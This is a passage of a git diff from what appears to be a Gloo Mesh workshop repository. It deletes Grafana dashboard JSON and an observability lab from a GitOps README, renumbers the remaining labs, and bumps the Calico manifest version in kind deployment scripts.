"refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "C" - } - ], - "title": "Insights total execution time percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 19 - }, - "id": 64, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le, analyzer))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 19 - }, - "id": 65, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "D" - } - ], - "title": "Insights Analyzer execution time percentiles", - "type": "timeseries" - } - ], - "title": "Gloo Insights", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 3 - }, - "id": 49, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 0, - "y": 4 - }, - "id": 51, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_accepted_metric_points[5m])) by (receiver)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Accepted rate: {{receiver}}", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_refused_metric_points[5m])) by (receiver)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Refused rate: {{receiver}}", - "range": true, - "refId": "B" - } - ], - "title": "Receivers: Metric Points Rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - }, - { - "matcher": { - "id": "byRegexp", - "options": "/.*Dropped.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "purple", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 8, - "y": 4 - }, - "id": 53, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_count[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size count: {{processor}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_sum[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size sum: {{processor}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_timeout_trigger_send[5m])) by (processor)", - "hide": false, - "interval": "", - "legendFormat": "Batch timeout rate: {{processor}}", - "refId": "C" - } - ], - "title": "Processors: Batch metrics", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 16, - "y": 4 - }, - "id": 55, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_sent_metric_points[5m])) by (exporter)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Sent metric points: {{exporter}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_enqueue_failed_metric_points[5m])) by (exporter)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Enqueue failed metric points rate: {{exporter}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_send_failed_metric_points[5m]))", - "hide": false, - "interval": "", - "legendFormat": "Sent failed rate: {{exporter}}", - "refId": "C" - } - ], - "title": "Exporters: Metric Points Rate", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Telemetry Pipeline", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 4 - }, - "id": 2, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 0, - "y": 57 - }, - "id": 39, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(rate(container_cpu_usage_seconds_total{namespace=\"gloo-mesh\"}[5m])) by (pod)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo vCPU Usage", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 12, - "y": 57 - }, - "id": 41, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(container_memory_working_set_bytes{job=\"kubelet\", metrics_path=\"/metrics/cadvisor\", namespace=\"gloo-mesh\", container!=\"\", image!=\"\"}) by (pod)", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo Memory Usage (w/o cache)", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Resource Usage", - "type": "row" - } - ], - "refresh": "30s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "label": "Gloo Prometheus", - "multi": false, - "name": "GlooPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": { - "selected": false, - "text": "Prometheus", - "value": "Prometheus" - }, - "hide": 0, - "includeAll": false, - "label": "External Prometheus", - "multi": false, - "name": "ExternalPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - } - ] - }, - "time": { - "from": "now-3h", - "to": "now" - }, - "timepicker": {}, - "timezone": "", - "title": "Gloo Platform Operations", - "uid": "9Zx09Zg45", - "version": 10, - "weekStart": "" -} diff --git a/gloo-mesh/enterprise/2-5/default/images/steps/gloo-platform-observability/metrics-architecture-otel.svg b/gloo-mesh/enterprise/2-5/default/images/steps/gloo-platform-observability/metrics-architecture-otel.svg deleted file mode 100644 index 47b8c2c638..0000000000 --- a/gloo-mesh/enterprise/2-5/default/images/steps/gloo-platform-observability/metrics-architecture-otel.svg +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - workload cluster 1Gloo metrics collector agentsEast-west gatewayistiodmanagement clusterGloo management serverPrometheus servergRPC pushmetric scraping every 15sGloo agentGoo metricsgateway123Istio workloadworkload cluster 2Gloo metrics collector agentsEast-west gatewayistiodGloo agent1Istio workloadscrapescrapescrapescrapescrapescrape \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-5/default/scripts/deploy-aws-with-calico.sh b/gloo-mesh/enterprise/2-5/default/scripts/deploy-aws-with-calico.sh index d123dd7b8f..1c7a2ec3cf 100755 --- a/gloo-mesh/enterprise/2-5/default/scripts/deploy-aws-with-calico.sh +++ b/gloo-mesh/enterprise/2-5/default/scripts/deploy-aws-with-calico.sh @@ -184,7 +184,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-5/default/scripts/deploy-multi-with-calico.sh b/gloo-mesh/enterprise/2-5/default/scripts/deploy-multi-with-calico.sh index e72e1f9720..dea19640aa 100755 --- a/gloo-mesh/enterprise/2-5/default/scripts/deploy-multi-with-calico.sh +++ b/gloo-mesh/enterprise/2-5/default/scripts/deploy-multi-with-calico.sh @@ -121,7 +121,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-5/default/scripts/deploy-with-calico.sh b/gloo-mesh/enterprise/2-5/default/scripts/deploy-with-calico.sh index 4e1643ee0c..a14138f3c4 100755 --- a/gloo-mesh/enterprise/2-5/default/scripts/deploy-with-calico.sh +++ b/gloo-mesh/enterprise/2-5/default/scripts/deploy-with-calico.sh @@ -117,7 +117,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-5/gitops/README.md b/gloo-mesh/enterprise/2-5/gitops/README.md index 44b56f97fc..8a07af1762 100644 --- a/gloo-mesh/enterprise/2-5/gitops/README.md +++ b/gloo-mesh/enterprise/2-5/gitops/README.md @@ -29,9 +29,8 @@ source ./scripts/assert.sh * [Lab 13 - Create the Root Trust Policy](#lab-13---create-the-root-trust-policy-) * [Lab 14 - Leverage Virtual Destinations for east west communications](#lab-14---leverage-virtual-destinations-for-east-west-communications-) * [Lab 15 - Zero trust](#lab-15---zero-trust-) -* [Lab 16 - See how Gloo Platform can help with observability](#lab-16---see-how-gloo-platform-can-help-with-observability-) -* [Lab 17 - Securing the egress traffic](#lab-17---securing-the-egress-traffic-) -* [Lab 18 - VM integration with Spire](#lab-18---vm-integration-with-spire-) +* [Lab 16 - Securing the egress traffic](#lab-16---securing-the-egress-traffic-) +* [Lab 17 - VM integration with Spire](#lab-17---vm-integration-with-spire-) @@ -1880,7 +1879,6 @@ cp data/steps/deploy-bookinfo/details-v1.yaml data/steps/deploy-bookinfo/ratings ``` We'll define two namespaces with the necessary labels for Istio injection: - ```bash cat <${GITOPS_BOOKINFO}/base/frontends/ns.yaml apiVersion: v1 @@ -3098,7 +3096,8 @@ Let's add the domains to our `/etc/hosts` file: Once Argo CD has synced these resources, you can access the `productpage` service using this URL: [http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage). -You should now be able to access the `productpage` application through the browser. - - -Let's install a few dashboards! - -Now, you can go the the Grafana tab, log in with the default login credentials, admin/prom-operator, and import the dashboard of Istio control plane. - -Add the Operational Dashboard -============================= - -Our Gloo components are all instrumented with Prometheus compatible metrics, providing an easy way to pinpoint a potential degradation. - -You can import the following dashboard to see our Operational Dashboard, covering all of our components in the stack. - -Here, you have specific rows for each components, such as the management server, the agent, the telemetry collectors, and some additional information regarding resource usage. - -```bash -cat < ${GITOPS_PLATFORM}/${MGMT}/cm-operational-dashboard.yaml -apiVersion: v1 -kind: ConfigMap -metadata: - name: operational-dashboard - namespace: monitoring - labels: - grafana_dashboard: "1" -data: - operational-dashboard.json: |- -$(cat data/steps/gloo-platform-observability/operational-dashboard.json | sed -e 's/^/ /;') -EOF - -cat <>${GITOPS_PLATFORM}/${MGMT}/kustomization.yaml -- cm-operational-dashboard.yaml -EOF - -git -C ${GITOPS_REPO_LOCAL} add . -git -C ${GITOPS_REPO_LOCAL} commit -m "Gloo Platform operator dashboard" -git -C ${GITOPS_REPO_LOCAL} push -``` - - -Out-of-box alerting -=================== - -Our Prometheus comes with useful alerts by default, making it easier to get notified if something breaks. - -All of the default alerts have corresponding panels on the Operational Dashboard. - -You can click the "Bell" icon on the left, and choose "Alert rules", and check "GlooPlatformAlerts" to take a closer look at them. - -Let's trigger one of the alerts! - -If you scale down the Gloo Agent in let's say `cluster1`, you should have an alert called `GlooPlatformAgentsAreDisconnected` go into first PENDING, then FIRING, let's check this! - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=0 -``` - -The alert will fire in 5m, but even before that, it will reach PENDING state, let's wait for this! - -Don't forget to scale it up after: - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=1 -``` - -Collect remote IstioD metrics securely -====================================== - -Let's take a look how easy it is to modify the metrics collection in the workload clusters, to collect IstioD metrics, and ship them to the management cluster over TLS. - -Create a new set of values to apply to the Gloo Platform agents installation: - -```bash -cat < ${GITOPS_PLATFORM}/argo-cd/gloo-platform-agents-installation-values-istio.yaml -telemetryCollectorCustomization: - extraProcessors: - batch/istiod: - send_batch_size: 10000 - timeout: 10s - filter/istiod: - metrics: - include: - match_type: regexp - metric_names: - - "pilot.*" - - "process.*" - - "go.*" - - "container.*" - - "envoy.*" - - "galley.*" - - "sidecar.*" - # - "istio_build.*" re-enable this after this is fixed upstream - extraPipelines: - metrics/istiod: - receivers: - - prometheus - processors: - - memory_limiter - - batch/istiod - - filter/istiod - exporters: - - otlp -EOF -``` - -Update the `Application` for the agents to include the additional values: - -```bash -yq -i '(.spec.template.spec.sources[] | select(.chart == "gloo-platform")).helm.valueFiles += ["$values/platform/argo-cd/gloo-platform-agents-installation-values-istio.yaml"]' \ - ${GITOPS_PLATFORM}/argo-cd/gloo-platform-agents-installation.yaml -``` - -Commit these changes: - -```bash -git -C ${GITOPS_REPO_LOCAL} add . -git -C ${GITOPS_REPO_LOCAL} commit -m "New Helm values for Istio metrics" -git -C ${GITOPS_REPO_LOCAL} push -``` - -This configuration update will - - create a new processor, called `filter/istiod`, that will enable all the IstioD/Pilot related metrics - - create a new pipeline, called `metrics/istiod`, that will have the aforementioned processor to include the control plane metrics - -Then, we just need to perform a rollout restart for the metrics collector, so the new pods can pick up the config change. - -```bash -kubectl --context $CLUSTER1 rollout restart daemonset/gloo-telemetry-collector-agent -n gloo-mesh -``` - -Now, let's import the Istio Control Plane Dashboard, and see the metrics! - -```bash -cat < ${GITOPS_PLATFORM}/${MGMT}/cm-istio-dashboard.yaml -apiVersion: v1 -kind: ConfigMap -metadata: - name: istio-control-plane-dashboard - namespace: monitoring - labels: - grafana_dashboard: "1" -data: - istio-control-plane-dashboard.json: |- -$(cat data/steps/gloo-platform-observability/istio-control-plane-dashboard.json | sed -e 's/^/ /;') -EOF - -cat <>${GITOPS_PLATFORM}/${MGMT}/kustomization.yaml -- cm-istio-dashboard.yaml -EOF - -git -C ${GITOPS_REPO_LOCAL} add . -git -C ${GITOPS_REPO_LOCAL} commit -m "Istio control plane dashboard" -git -C ${GITOPS_REPO_LOCAL} push -``` - - - - -## Lab 17 - Securing the egress traffic +## Lab 16 - Securing the egress traffic [VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") @@ -4999,7 +4716,7 @@ git -C ${GITOPS_REPO_LOCAL} push -## Lab 18 - VM integration with Spire +## Lab 17 - VM integration with Spire Let's see how we can configure a VM to be part of the Mesh. diff --git a/gloo-mesh/enterprise/2-5/gitops/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json b/gloo-mesh/enterprise/2-5/gitops/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json deleted file mode 100644 index 555275afdd..0000000000 --- a/gloo-mesh/enterprise/2-5/gitops/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json +++ /dev/null @@ -1,2272 +0,0 @@ -{ - "__inputs": [ - { - "name": "DS_PROMETHEUS-GM", - "label": "prometheus-GM", - "description": "", - "type": "datasource", - "pluginId": "prometheus", - "pluginName": "Prometheus" - } - ], - "__elements": {}, - "__requires": [ - { - "type": "grafana", - "id": "grafana", - "name": "Grafana", - "version": "9.3.1" - }, - { - "type": "datasource", - "id": "prometheus", - "name": "Prometheus", - "version": "1.0.0" - }, - { - "type": "panel", - "id": "timeseries", - "name": "Time series", - "version": "" - } - ], - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": null, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 60, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": 